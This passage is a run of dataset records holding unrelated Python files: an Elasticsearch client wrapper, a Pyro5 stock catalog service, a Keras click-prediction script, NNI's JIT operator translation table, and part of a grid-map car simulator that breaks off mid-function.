field(default_factory=lambda: [''])\n post_tags: List[str] = field(default_factory=lambda: [''])\n order: str = field(default='score')\n\n\nclass ES:\n\n def __init__(self, profile='default'):\n self.profile = profile\n self.conf = config.get(f'es.{self.profile}')\n if self.conf is None:\n raise ValueError(f'profile not configured: {self.profile}')\n self.client: Elasticsearch = invoker.invoke(connect, **self.conf)\n\n def get_by_id(self, _id, index: str, **params):\n assert _id is not None, '_id required'\n assert index is not None, 'index required'\n\n try:\n return self.client.get(index=index, id=_id, params=params)\n except NotFoundError:\n return None\n\n def find_by_id(self, _id, index: str, **params):\n return self.get_by_id(_id, index, **params)\n\n def get_by_ids(self, _ids, index: str, **params):\n assert _ids is not None and len(_ids) > 0, '_ids required and should not be empty'\n assert index is not None, 'index reequired'\n\n try:\n result = self.client.mget(index=index, body={'ids': _ids}, params=params)\n return result.get('docs') if result else None\n except NotFoundError:\n return None\n\n def find_by_ids(self, _ids, index: str, **params):\n return self.get_by_ids(_ids, index, **params)\n\n def count(self, query: dict, index: str, **params):\n assert query is not None and len(query) > 0, 'query required, and should not be empty'\n assert index is not None, 'index required'\n\n body = query.copy()\n for field in ['track_total_hits', 'from', 'size', '_source', 'sort', 'highlight']:\n body.pop(field, None)\n\n data = self.client.count(\n index=index,\n body=body,\n params=params\n )\n return data['count']\n\n def search(self,\n query: dict,\n index: str,\n size=500,\n highlight: Optional[dict] = None,\n highlight_fields: Optional[Union[dict, list]] = None,\n scroll: Optional[str] = None,\n timeout=60,\n **params):\n assert query is not None and len(query) > 0, 'query required, and should not be empty'\n assert index is not None, 'index required'\n assert (highlight is None and highlight_fields is None) or (scroll is None), 'highlight not supported with scroll'\n if scroll is None or len(scroll) == 0:\n yield from self._search(query, index, size, highlight, highlight_fields, timeout, **params)\n else:\n yield from self._search_scroll(query, index, size, scroll, timeout, **params)\n\n def _search(self,\n query: dict,\n index: str,\n size=500,\n highlight: Optional[dict] = None,\n highlight_fields: Optional[Union[dict, list]] = None,\n timeout=60,\n **params):\n pre_tags, post_tags = None, None\n if highlight:\n query['highlight'] = highlight\n pre_tags, post_tags = highlight.get('pre_tags'), highlight.get('post_tags')\n elif highlight_fields:\n if isinstance(highlight_fields, list):\n highlight_fields = {f: {} for f in highlight_fields}\n highlight = asdict(Highlight(fields=highlight_fields))\n query['highlight'] = highlight\n pre_tags, post_tags = highlight.get('pre_tags'), highlight.get('post_tags')\n\n data = self.client.search(index=index, size=size, body=query, request_timeout=timeout, params=params)\n hits = data['hits']['hits']\n do_escape = pre_tags and post_tags and len(pre_tags) == len(post_tags)\n for hit in hits:\n yield self._html_escape(hit, pre_tags, post_tags) if do_escape else hit\n\n def _search_scroll(self, query: dict, index: str, size: int, scroll: str, timeout=60, **params):\n data = self.client.search(index=index, scroll=scroll, size=size, body=query, request_timeout=timeout, params=params)\n sid = data['_scroll_id']\n hits = data['hits']['hits']\n try:\n while sid and hits:\n for hit in hits:\n yield hit\n\n data = self.client.scroll(scroll_id=sid, scroll=scroll)\n sid = data['_scroll_id']\n hits = data['hits']['hits']\n finally:\n try:\n self.client.clear_scroll(scroll_id=sid, ignore=(404,))\n except Exception as ignored:\n pass\n\n @staticmethod\n def _html_escape(item: dict, pre_tags: List[str], post_tags: List[str]):\n def convert(text):\n for pre_tag in pre_tags:\n text = text.replace(pre_tag, f\"lll-{regexes.remove_non_char(pre_tag)}-lll\")\n for post_tag in post_tags:\n text = text.replace(post_tag, f\"rrr-{regexes.remove_non_char(post_tag)}-rrr\")\n\n text = regexes.remove_html_tags(text)\n text = html.escape(text)\n\n for pre_tag in pre_tags:\n text = text.replace(f\"lll-{regexes.remove_non_char(pre_tag)}-lll\", pre_tag)\n for post_tag in post_tags:\n text = text.replace(f\"rrr-{regexes.remove_non_char(post_tag)}-rrr\", post_tag)\n\n return text\n\n highlights = item.get('highlight')\n if highlights:\n item['highlight'] = {field: [convert(entry) for entry in entries] for field, entries in highlights.items()}\n return item\n\n def aggs(self, query: dict, index: str, timeout=15, **params):\n assert query is not None and len(query) > 0, 'query required, and should not be empty'\n assert index is not None, 'index required'\n\n data = self.client.search( index=index, size=0, body=query, request_timeout=timeout, params=params)\n buckets = {k: v.get('buckets') for k, v in data.get('aggregations').items()}\n total = data['hits']['total']\n return buckets, total\n\n def delete_by_id(self, _id, index: str, silent=True, timeout=30, **kwargs) -> bool:\n assert _id is not None, '_id required'\n assert index is not None, 'index required'\n\n try:\n self.client.delete(index=index, id=_id, request_timeout=timeout, params=kwargs)\n return True\n except NotFoundError as e:\n if silent:\n return False\n else:\n raise e\n\n def delete_by_query(self, query, index: str, silent=True, timeout=30, **params):\n assert query is not None and len(query) > 0, 'query required, and should not be empty'\n assert index is not None, 'index required'\n\n try:\n return self.client.delete_by_query(index=index, body=query, request_timeout=timeout, params=params)\n except NotFoundError as e:\n if silent:\n LOGGER.error(f\"Failed to delete_by_query: {query}, index: {index}\")\n LOGGER.exception(e)\n slacks.notify_exception(e, f\"{jsons.dumps(query)}, index: {index}\")\n else:\n raise e\n\n def save(self, _id, doc, index: str, overwrite=True, silent: bool = True, **params):\n assert _id is not None, '_id required'\n assert index is not None, 'index required'\n\n if doc is None:\n return\n try:\n index = index or self.index\n if not overwrite and self.is_exists(_id, index=index):\n return\n self.client.index(index, doc, id=_id, params=params)\n return _id\n except Exception as e:\n if silent:\n LOGGER.error(f\"Failed to process: {doc}\")\n LOGGER.exception(e)\n slacks.notify_exception(e, f'{_id}\\n{jsons.dumps(doc)}')\n else:\n raise e\n\n def update(self, _id, doc, index: str, **params):\n assert _id is not None, '_id required'\n assert index is not None, 'index required'\n\n if doc is None:\n return\n self.client.update(index, id=_id, body={'doc': doc}, params=params)\n\n def is_exists(self, _id, index: str, source=False):\n assert _id is not None, '_id required'\n assert index is not None, 'index required'\n\n return self.client.exists(index=index, id=_id, _source=source)\n\n def bulk(self, actions, stats_only=False, *args, **kwargs):\n helpers.bulk(self.client, actions, stats_only=stats_only, *args, **kwargs)\n\n\nEsClient = ES\n","repo_name":"orctom/hao","sub_path":"hao/es.py","file_name":"es.py","file_ext":"py","file_size_in_byte":10889,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"19272873675","text":"import Pyro5.api\nimport json\nimport threading\nimport socket\nimport os\nimport requests\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nCACHE = eval(os.getenv(\"CACHE\"))\n#Making pyro threaded server\nPyro5.config.SERVERTYPE = \"thread\"\nPyro5.config.THREADPOOL_SIZE_MIN = 5\n\nprint(\"Intializing server with stock data....\")\n\n\n#Checkinf if file exists or is it first time running\nif os.path.exists(\"data/stocks.json\") and os.path.getsize(\"data/stocks.json\") != 0:\n with open('data/stocks.json', 'r') as openfile:\n DATA = json.load(openfile)\nelse:\n DATA = {\"gamestart\": {\"price\": 10, \"volume\": 0, \"quantity\": 100}, #If no make a new database\n \"fishco\": {\"price\": 30, \"volume\": 0, \"quantity\": 100},\n \"boarco\": {\"price\": 20, \"volume\": 0, \"quantity\": 100}, \n \"menhirco\": {\"price\": 40, \"volume\": 0, \"quantity\": 100}}\n\n\nlock = threading.Lock() # create a lock object\n\n\n@Pyro5.api.expose\nclass CatalogService(object):\n def Lookup(self, stock_name):\n with lock:\n stock_name = stock_name.lower()\n if not stock_name in DATA:\n error = {\n \"error\": {\n \"code\": 402,\n \"message\": \"Stock Not Found\"\n }\n }\n return json.dumps(error)\n \n stock_data= {\n \"name\": stock_name,\n \"price\": DATA[stock_name][\"price\"],\n \"quantity\": DATA[stock_name][\"quantity\"]\n }\n return json.dumps(stock_data)\n \n def trade(self, stock_name, trade_type, quantity):\n #1 for sell, -1 for buy \n #1 success\n #0 invalid stock name \n #-1 not enough stocks\n with lock:\n stock_name = stock_name.lower()\n if not stock_name in DATA:\n return 0\n elif trade_type*quantity+DATA[stock_name][\"quantity\"]<0: #Sell = 1 will increae the quantity and buy being -1 will decrease\n return -1 #Checking if enough stocks exist\n DATA[stock_name][\"quantity\"]+=trade_type*quantity\n DATA[stock_name][\"volume\"]+=quantity\n with open(\"data/stocks.json\", \"w\") as outfile:\n json.dump(DATA, outfile)\n \n # Send an invalidation request to the front-end server\n if CACHE:\n url = \"http://localhost:8080/invalidate_cache\"\n invalidate_data = {\"stock_name\": stock_name}\n response = requests.post(url, data=invalidate_data)\n return 1\n\n\n#container_ip = socket.gethostbyname(socket.gethostname()) #Getting host ip for finding nameserver\ndaemon = Pyro5.server.Daemon() # make a Pyro daemon\n# find the name server\nns = Pyro5.api.locate_ns() #Locating nameserver\nuri = daemon.register(CatalogService)\nns.register(\"service.catalog\", uri) #Registring\nprint(\"Ready\")\ndaemon.requestLoop()","repo_name":"wadhwahitesh/Cloud-Based-STS","sub_path":"src/CatalogService/catalogService.py","file_name":"catalogService.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10615210899","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 18 10:43:28 2018\n\n@author: Gireesh Sundaram\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nfrom sklearn.cross_validation import train_test_split\n\n#%%\ndata = pd.read_csv(\"D:\\\\Hackathons\\\\Amex\\\\Datasets\\\\train.csv\")\ntest = pd.read_csv(\"D:\\\\Hackathons\\\\Amex\\\\Datasets\\\\test.csv\")\ntrain = data.sample(frac = 0.2)\n\nhistoric = pd.read_csv(\"D:\\\\Hackathons\\\\Amex\\\\Datasets\\\\historic_restruct.csv\")\n\n#%%\ntrain['hour'] = pd.to_numeric(train['DateTime'].str.slice(11,13))\ntrain[\"time\"] = np.where(train['hour'].between(0, 4), \"Midnight\",\n np.where(train['hour'].between(5, 8), \"Early Morning\", \n np.where(train['hour'].between(9, 12), \"Morning\", \n np.where(train['hour'].between(13, 16), \"Afternoon\", \n np.where(train['hour'].between(17, 20), \"Evening\", \"Night\")))))\n\n#%%\ntrain = train.merge(historic, on = ['user_id', 'product'], how='left')\n\ninterest_view = train[['view', 'interest']]\ninterest_view = interest_view.fillna(value = 0)\n\n#%%\nselectedfeatures = ['product', 'campaign_id', 'webpage_id', 'product_category_1', 'gender', 'user_group_id', 'age_level', 'user_depth']\nselectedcols = train[selectedfeatures]\n\n#%%\nselectedcols['gender'] = selectedcols['gender'].fillna(value = \"Female\")\nselectedcols['age_level'] = selectedcols['age_level'].fillna(value = 2)\nselectedcols['user_depth'] = selectedcols['user_depth'].fillna(value = 3)\n#selectedcols['city_development_index'] = selectedcols['city_development_index'].fillna(value = 3)\n\nselectedcols = selectedcols.fillna(value = -99)\nLE = LabelEncoder()\nselectedcols_1 = selectedcols.apply(LE.fit_transform)\n\n#%%\nOHE = OneHotEncoder()\nselectedcols_2 = OHE.fit_transform(selectedcols_1).toarray()\nselectedcols_2 = pd.DataFrame(selectedcols_2)\nselectedcols_2['is_click'] = train['is_click'].reset_index(drop=True)\n\n#selectedcols_2['interest'] = interest_view['interest']\n#selectedcols_2['view'] = interest_view['view']\n\n#%%\nx_train, x_test, y_train, y_test = train_test_split(selectedcols_2.drop(columns = ['is_click']), selectedcols_2['is_click'])\n\n#%%\nfrom keras.layers import Input, Embedding, Bidirectional, GlobalMaxPool1D, Dense, Dropout, CuDNNGRU\nfrom keras.models import Model\n\n#%%\nembed_size = 300 # how big is each word vector\nmax_features = 200 # how many unique words to use (i.e num rows in embedding vector)\nmaxlen = 60 # max number of words in a question to use\n\n#%%\ninp = Input(shape=(maxlen,))\nx = Embedding(max_features, embed_size)(inp)\nx = Bidirectional(CuDNNGRU(64, return_sequences=True))(x)\nx = GlobalMaxPool1D()(x)\nx = Dense(16, activation=\"relu\")(x)\nx = Dropout(0.1)(x)\nx = Dense(1, activation=\"sigmoid\")(x)\nmodel = Model(inputs=inp, outputs=x)\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\nprint(model.summary())\n\n#%%\nmodel.fit(x_train, y_train, batch_size=512, epochs=2, validation_data=(x_test, y_test))\n","repo_name":"GireeshS22/Kaggle-submissions","sub_path":"AV/AMEX/Keras.py","file_name":"Keras.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8283629181","text":"import re\nimport logging\nfrom functools import partial\nimport torch\n\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\ndef translate_list(list_node, speedup=None):\n \"\"\"\n Get the list of values from the list construct node.\n Parameters\n ---------\n list_node: Torch.C.Value\n The cpp node of the target list.\n speedup: ModuleSpeed\n The Module speedup module.\n Returns\n -------\n values: list\n The list of values in the target cpp list node.\n \"\"\"\n # the node that create the list\n create_node = list_node.node()\n assert create_node.kind() == 'prim::ListConstruct'\n inputs = list(create_node.inputs())\n values = []\n for _i in inputs:\n debugName = _i.debugName()\n if speedup is not None and debugName in speedup.internal_result:\n # this value is the result of the other nodes, such as\n # ate::size\n values.append(speedup.internal_result[debugName].item())\n else:\n # if the corresponding value is a constant\n values.append(_i.toIValue())\n return values\n\n\ndef parse_constant(cvalue, speedup):\n \"\"\"\n Parse the constant values from this Node\n Parameters\n ----------\n cvalue: Torch.C.Value\n The cpp node of the target constant value.\n speedup: ModelSpeedup\n The Model speedup module.\n Returns\n -------\n value: int/float/tensor\n The constant values parsed from the node.\n \"\"\"\n logger.debug('Try to parse the constant value: %s', cvalue.debugName())\n if cvalue.toIValue() is not None:\n return cvalue.toIValue()\n if cvalue.debugName() in speedup.internal_result:\n return speedup.internal_result[cvalue.debugName()]\n # Get the operator node of the this value\n op_node = cvalue.node()\n\n inputs = op_node.inputs()\n input_values = [parse_constant(_i, speedup) for _i in inputs]\n func = trans_from_jit_to_python[op_node.kind()](op_node, speedup)\n return func(*input_values)\n\n\ndef dropout_python(node, speedup):\n return torch.dropout\n\n\ndef flatten_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n start_dim = inputs[1].toIValue()\n end_dim = inputs[2].toIValue()\n new_flatten = partial(torch.flatten, start_dim=start_dim, end_dim=end_dim)\n return new_flatten\n\n\ndef relu_inplace_python(node, speedup):\n return torch.relu_\n\n\ndef relu_python(node, speedup):\n return torch.relu\n\n\ndef sigmoid_python(node, speedup):\n return torch.sigmoid\n\n\ndef mean_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n dim_list = translate_list(inputs[1], speedup)\n keep_dim = inputs[2].toIValue()\n new_mean = partial(torch.mean, dim=tuple(dim_list), keepdim=keep_dim)\n return new_mean\n\n\ndef add_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n constant = None\n for i in range(2):\n input_i = inputs[i]\n debug_name = input_i.debugName()\n if debug_name not in speedup.internal_result:\n # this input is a constant value\n # TODO: what if this input is a constant tensor\n\n if input_i.toIValue() is not None:\n constant = parse_constant(input_i, speedup)\n break\n if constant is None:\n return torch.add\n else:\n new_add = partial(torch.add, constant)\n return new_add\n\n\ndef floor_div_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n divisor = inputs[1]\n constant = None\n if divisor.debugName() not in speedup.internal_result:\n # divisor is a constant value/tensor\n constant = parse_constant(divisor, speedup)\n if constant is None:\n return torch.floor_divide\n else:\n new_op = partial(torch.floor_divide, other=constant)\n return new_op\n\n\ndef mul_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n constant = None\n for i in range(2):\n input_i = inputs[i]\n debug_name = input_i.debugName()\n if debug_name not in speedup.internal_result:\n constant = parse_constant(input_i, speedup)\n # both two inputs cannot be constants at the same time\n break\n if constant is None:\n return torch.mul\n else:\n new_mul = partial(torch.mul, constant)\n return new_mul\n\n\ndef transpose_python(node, speedup):\n return torch.t\n\n\ndef transpose2_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n dim_1 = inputs[1].toIValue()\n dim_2 = inputs[2].toIValue()\n new_transpose = partial(torch.transpose, dim0=dim_1, dim1=dim_2)\n return new_transpose\n\n\ndef matmul_python(node, speedup):\n return torch.matmul\n\n\ndef div_python(node, speedup):\n # The second input parameter of torch.div can be a\n # tensor or a constant, if it is a constant, we need\n # to return\n c_node = node.key_node\n inputs = list(c_node.inputs())\n if inputs[1].debugName() in speedup.internal_result:\n # the second input parameters is the output of the other\n # nodes\n return torch.div\n else:\n other = inputs[1].toIValue()\n new_div = partial(torch.div, other=other)\n\n return new_div\n\n\ndef softmax_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n dim = inputs[1].toIValue()\n new_softmax = partial(torch.softmax, dim=dim)\n return new_softmax\n\n\ndef contiguous_python(node, speedup):\n class contiguousModule(torch.nn.Module):\n def forward(self, x):\n return x.contiguous()\n return contiguousModule()\n\n\ndef gelu_python(node, speedup):\n return torch.nn.GELU()\n\n\ndef avgpool2d_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n kernel_size = translate_list(inputs[1], speedup)\n stride = translate_list(inputs[2], speedup)\n padding = translate_list(inputs[3], speedup)\n new_avgpool = partial(torch.nn.functional.avg_pool2d,\n kernel_size=kernel_size, stride=stride, padding=padding)\n return new_avgpool\n\n\ndef adaptive_avgpool_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n output_size = translate_list(inputs[1], speedup)\n new_avgpool = torch.nn.AdaptiveAvgPool2d(output_size)\n return new_avgpool\n\n\ndef tupleunpack_python(node, speedup):\n # Note: tuple unpack should only exists at the\n # the end of the model, and is no need to replace/propagate mask\n return None\n\n\ndef num2tensor_python(node, speedup):\n return torch.nn.Identity()\n\n\ndef exp_python(node, speedup):\n return torch.exp\n\n\ndef squeeze_python(node, speedup):\n c_node = node.key_node\n inputs = list(c_node.inputs())\n dim = None\n if len(inputs) > 1:\n dim = parse_constant(inputs[1], speedup)\n new_squeeze = partial(torch.squeeze, dim=dim)\n return new_squeeze\n\n##########################################################\n# Split Line\n# Following module/functions cannot be translated into a\n# single function, so we use torch.nn.Module to wrap the\n# the core function, and return the torch.nn.Module instead\n##########################################################\n\n\ndef slice_python(node, speedup):\n class SliceMoudle(torch.nn.Module):\n def __init__(self, sliceobj):\n super(SliceMoudle, self).__init__()\n self.sliceobj = sliceobj\n\n def forward(self, x, *args):\n # args is for the slice dimension and indexes, however,\n # we already get them from the cpp nodes. Note, though, we\n # don't need the slice indexes any more, we cannot remove this\n # parameter here, because, there may be multiple inputs passed from\n # previous nodes such as aten::size\n logger.info('Model has Slice operation, and the operand size=%s, Slice object:%s', str(\n x.size()), str(self.sliceobj))\n return x[self.sliceobj]\n\n c_node = node.key_node\n inputs = list(c_node.inputs())\n\n slice_dim = parse_constant(inputs[1], speedup)\n slice_start = parse_constant(inputs[2], speedup)\n slice_end = parse_constant(inputs[3], speedup)\n slice_step = parse_constant(inputs[4], speedup)\n slice_obj = slice(slice_start, slice_end, slice_step)\n slice_list = []\n for _ in range(slice_dim):\n slice_list.append(slice(None, None))\n logger.info('Slice dim:%s, Slice obj:%s', str(slice_dim), str(slice_obj))\n slice_list.append(slice_obj)\n return SliceMoudle(tuple(slice_list))\n\n\ndef select_python(node, speedup):\n class SelectModule(torch.nn.Module):\n def __init__(self, dim, index):\n super(SelectModule, self).__init__()\n self.dim = dim\n self.index = index\n\n def forward(self, x):\n return x.select(self.dim, self.index)\n c_node = node.key_node\n inputs = list(c_node.inputs())\n dim = inputs[1].toIValue()\n index = inputs[2].toIValue()\n return SelectModule(dim, index)\n\n\ndef size_python(node, speedup):\n # return None\n class SizeMoudle(torch.nn.Module):\n def __init__(self, sizedim):\n super(SizeMoudle, self).__init__()\n self.sizedim = sizedim\n\n def forward(self, x):\n return torch.as_tensor([x.size(self.sizedim)], dtype=torch.long)\n # return torch.tensor(x.size(self.sizedim))\n c_node = node.key_node\n inputs = list(c_node.inputs())\n size_dim = inputs[1].toIValue()\n return SizeMoudle(size_dim)\n\n\ndef toint_python(node, speedup):\n class ToIntModule(torch.nn.Module):\n def forward(self, x):\n return x.to(torch.int)\n return ToIntModule()\n\n\ndef view_python(node, speedup):\n class ViewModule(torch.nn.Module):\n def __init__(self, shape):\n super(ViewModule, self).__init__()\n self.shape = shape\n logger.info('View Module output size: %s', str(self.shape))\n\n def forward(self, *args):\n return args[0].view(self.shape)\n c_node = node.key_node\n inputs = list(c_node.inputs())\n shape = translate_list(inputs[1], speedup)\n return ViewModule(shape)\n\n\ndef reshape_python(node, speedup):\n class ReshapeModule(torch.nn.Module):\n def __init__(self, shape):\n super(ReshapeModule, self).__init__()\n self.shape = shape\n logger.info('Reshape Module output size: %s', str(self.shape))\n\n def forward(self, *args):\n return args[0].view(self.shape)\n c_node = node.key_node\n inputs = list(c_node.inputs())\n shape = translate_list(inputs[1], speedup)\n return ReshapeModule(shape)\n\n\ndef permute_python(node, speedup):\n class PermuteModule(torch.nn.Module):\n def __init__(self, dimlist):\n super(PermuteModule, self).__init__()\n self.dimlist = dimlist\n\n def forward(self, x):\n return x.permute(self.dimlist)\n c_node = node.key_node\n inputs = list(c_node.inputs())\n dim_list = translate_list(inputs[1], speedup)\n return PermuteModule(dim_list)\n\n\ndef getattr_python(node, speedup):\n \"\"\"\n Note: Ops started with Prim:: is not taken as the key node,\n so we directly pass the Cpp node into this funciton.\n Parameters\n ----------\n node: torch._C.Node\n The cpp node of prim::Getattr\n speedup: ModelSpeedup\n The corresponding speedup object.\n \"\"\"\n class GetModule(torch.nn.Module):\n def __init__(self, key):\n super(GetModule, self).__init__()\n self.key = key\n\n def forward(self, obj):\n logger.info('Get attribute: %s', self.key)\n return getattr(obj, self.key)\n # get the name of the attribute, for example\n # prim::GetAttr[name=\"module_list\"](%self.1)\n assert node.kind() == 'prim::GetAttr'\n pattern = '\\[name=\\\"(.*?)\\\"\\]'\n key_words = re.findall(pattern, str(node))\n assert len(key_words) == 1\n return GetModule(key_words[0])\n\n\ndef upsample_bilinear2d_python(node, speedup):\n class UpsampleModule(torch.nn.Module):\n def __init__(self, size_list, scale_list):\n super(UpsampleModule, self).__init__()\n self.size_list = size_list\n self.scale_list = scale_list\n\n def forward(self, *args):\n \"\"\"\n The first input of args is the target tensor to upsample\n , the following parameters is useless, because we already\n get the size_list and the scale_list by parsing the cpp_nodes.\n \"\"\"\n return torch.nn.functional.upsample_bilinear(args[0],\n size=self.size_list, scale_factor=self.scale_list)\n c_node = node.key_node\n inputs = list(c_node.inputs())\n size_list_node = inputs[1].node()\n scale_list_node = inputs[3].node()\n size_list = None\n scale_list = None\n\n if size_list_node.kind() == 'prim::ListConstruct':\n size_list = translate_list(inputs[1], speedup)\n if scale_list_node.kind() == 'prim::ListConstruct':\n scale_list = translate_list(inputs[3], speedup)\n return UpsampleModule(size_list, scale_list)\n\n\ndef typeas_python(node, speedup):\n \"\"\"\n currently only support type_as float.\n TODO: support more types in the type_as, need to figure out\n how to get the scalar type from torch._C.TensorType.\n \"\"\"\n class TypeasModule(torch.nn.Module):\n def __init__(self, dtype=torch.float):\n self.example = torch.zeros(1, dtype=dtype)\n\n def forward(self, x):\n return x.type_as(self.example)\n return TypeasModule()\n\n\ndef to_python(node, speedup):\n # for the time being, only device parameters are supported\n class ToModule(torch.nn.Module):\n def __init__(self, device):\n super(ToModule, self).__init__()\n\n def forward(self, x):\n return x.to(device)\n\n c_node = node.key_node\n inputs = list(c_node.inputs())\n device = inputs[3].toIValue()\n return ToModule(device)\n\n\ndef cat_python(node, speedup):\n class CatModule(torch.nn.Module):\n def __init__(self, cat_dim):\n super(CatModule, self).__init__()\n self.cat_dim = cat_dim\n\n def forward(self, *args):\n return torch.cat(args, dim=self.cat_dim)\n\n c_node = node.key_node\n inputs = list(c_node.inputs())\n dim = inputs[1].toIValue()\n return CatModule(dim)\n\n\ntrans_from_jit_to_python = {\n 'aten::add': add_python,\n 'aten::add_': add_python,\n 'aten::mul': mul_python,\n 'aten::mul_': mul_python,\n 'aten::relu': relu_python,\n 'aten::relu_': relu_inplace_python,\n 'aten::sigmoid': sigmoid_python,\n 'aten::sigmoid_': sigmoid_python,\n # tanh behaives like relu\n 'aten::tanh': relu_python,\n 'aten::tanh_': relu_python,\n 'aten::flatten': flatten_python,\n 'aten::mean': mean_python,\n 'aten::dropout': dropout_python,\n 'aten::slice': slice_python,\n 'aten::select': select_python,\n 'aten::size': size_python,\n 'aten::t': transpose_python,\n 'aten::transpose': transpose2_python,\n 'aten::Int': toint_python,\n 'aten::view': view_python,\n 'aten::reshape': reshape_python,\n 'aten::permute': permute_python,\n 'aten::matmul': matmul_python,\n 'aten::div': div_python,\n 'aten::floor_divide': floor_div_python,\n 'aten::softmax': softmax_python,\n 'aten::contiguous': contiguous_python,\n 'aten::gelu': gelu_python,\n 'aten::cat': cat_python,\n 'aten::avg_pool2d': avgpool2d_python,\n 'aten::max_pool2d': avgpool2d_python,\n 'aten::adaptive_avg_pool2d': adaptive_avgpool_python,\n 'aten::to': to_python,\n 'aten::type_as': typeas_python,\n 'aten::upsample_bilinear2d': upsample_bilinear2d_python,\n 'aten::exp': exp_python,\n 'aten::squeeze': squeeze_python,\n 'prim::TupleUnpack': tupleunpack_python,\n 'prim::ListUnpack': tupleunpack_python,\n 'prim::NumToTensor': num2tensor_python,\n 'prim::GetAttr': getattr_python\n\n}\n\n\ndef jit_to_python_function(node, speedup):\n \"\"\"\n Return a callable object to inference the mask according to the\n node.op_type.\n\n Parameters\n ---------\n node: NodeGroup\n The target node to inference the mask\n speedup: ModelSpeedup\n The speedup object of the target model.\n\n Returns\n ------\n func: callable object(nn.Module/function)\n Return the translated function that used to inference the mask\n , if current op_type is not supported, then we return None.\n \"\"\"\n logger.debug(\n 'Translate C function %s into its python version', node.op_type)\n if node.op_type not in trans_from_jit_to_python:\n logger.error(\n '%s is not Supported! Please report an issue at https://github.com/microsoft/nni. Thanks~', node.op_type)\n # return None to skip the mask inference for this node\n return None\n return trans_from_jit_to_python[node.op_type](node, speedup)\n","repo_name":"ICT-ANS/StarLight","sub_path":"algorithms/compression/lib/compression/pytorch/speedup/jit_translate.py","file_name":"jit_translate.py","file_ext":"py","file_size_in_byte":16984,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"11"} +{"seq_id":"23560954259","text":"import numpy as np\nimport cv2\n\nmapData = []\nsize = 11\nwith open('map.txt','r') as f:\n mapData = [line[:len(line)-1] for line in f.readlines()]\n for i in range(len(mapData)):\n data = []\n for j in range(len(mapData[i])):\n data.append(ord(mapData[i][j]) - ord('A'))\n mapData[i] = data\n\n\nclass SimulateMap:\n \n def __init__(self,nGrid,size,name):\n self.size = size\n self.nGrid = nGrid\n self.name = name\n self.image = np.zeros((nGrid*size,nGrid*size),dtype = 'float32')\n self.arrowSize = int(self.size*0.7)\n self.arrow = np.zeros((self.arrowSize,self.arrowSize),dtype='float32')\n self.arrow[int(size*0.3):int(size*0.7),size//2 - int(size*0.05):size//2 + int(size*0.05)] = 1.0\n self.arrow[int(size*0.5):int(size*0.7),size//2 - int(size*0.2):size//2 + int(size*0.2)] = 1.0\n \n def drawGrid(self,x,y,_type):\n radius = int(self.size *1.0)\n thickness = 5\n x *= self.size\n y *= self.size\n if _type & 0b10000:\n self.image[ y :y + self.size,x :x +self.size] = 0.0\n else:\n self.image[ y :y + self.size,x :x +self.size] = 0.0\n if _type & 0b1000:\n self.image[y + radius :y + radius + thickness,x:x + self.size] = 1.0\n if _type & 0b0100:\n self.image[ y :y + self.size, x + self.size - radius :x + self.size - radius + thickness] = 1.0\n if _type & 0b0010:\n self.image[ y + self.size - radius :y + self.size - radius + thickness,x:x + self.size] = 1.0\n if _type & 0b0001:\n self.image[ y :y + self.size,x + radius :x + radius + thickness] = 1.0\n \n \n def readMap(self,mapData):\n for y,row in enumerate(mapData):\n for x,block in enumerate(row):\n self.drawGrid(x,y,block)\n def showMap(self,t):\n cv2.imshow(self.name,self.image)\n cv2.waitKey(t*10**3)\n def showMapWithCar(self,t,x,y,direction):\n tempMap = self.image.copy()\n angle = 0\n if direction == 'N':\n angle = 0\n elif direction == 'W':\n angle = 90\n elif direction == 'S':\n angle = 180\n elif direction == 'E':\n angle = 270\n \n rows,cols = self.arrow.shape\n\n M = cv2.getRotationMatrix2D((cols/2,rows/2),angle,1)\n tempArrow = cv2.warpAffine(self.arrow,M,(cols,rows))\n baseX = int(x*(self.size+0.5))\n baseY = int(y*(self.size+0.5)) \n tempMap[baseY:baseY+self.arrowSize ,baseX:baseX+self.arrowSize] = tempArrow\n cv2.imshow(self.name,tempMap)\n if cv2.waitKey(t*10**3) == ord('q'):\n cv2.destroyAllWindows()\n exit()\n\nclass Path:\n def __init__(self,x,y,direction,goTo):\n self.x = x\n self.y = y\n self.direction = direction\n self.goTo = goTo\n\n \ncarX =8\ncarY = 8\ncarDirection = 'N'\ncarMap = [[0b10000 for i in range(size)] for j in range(size)]\npathStack = [i for i in range(100)]\ntopOfStack = 0\n\ndef pushPath(goTo):\n global pathStack, topOfStack\n pathStack[topOfStack] = Path(carX,carY,carDirection,goTo)\n topOfStack += 1\ndef popPath():\n topOfStack -= 1\n return pathStack[topOfStack+1]\nrealSimulateMap = SimulateMap(size,50,'REAL MAP')\nrealSimulateMap.readMap(mapData)\n\ncarSimulateMap = SimulateMap(size,50,'CAR MAP')\ncarSimulateMap.readMap(carMap)\n\ndef move():\n global carX,carY,carDirection\n if carDirection == 'N':\n carY -= 1\n elif carDirection == 'W':\n carX -= 1\n elif carDirection == 'S':\n carY += 1\n elif carDirection == 'E':\n carX += 1\ndef moveBack():\n global carX,carY,carDirection\n if carDirection == 'N':\n carY += 1\n elif 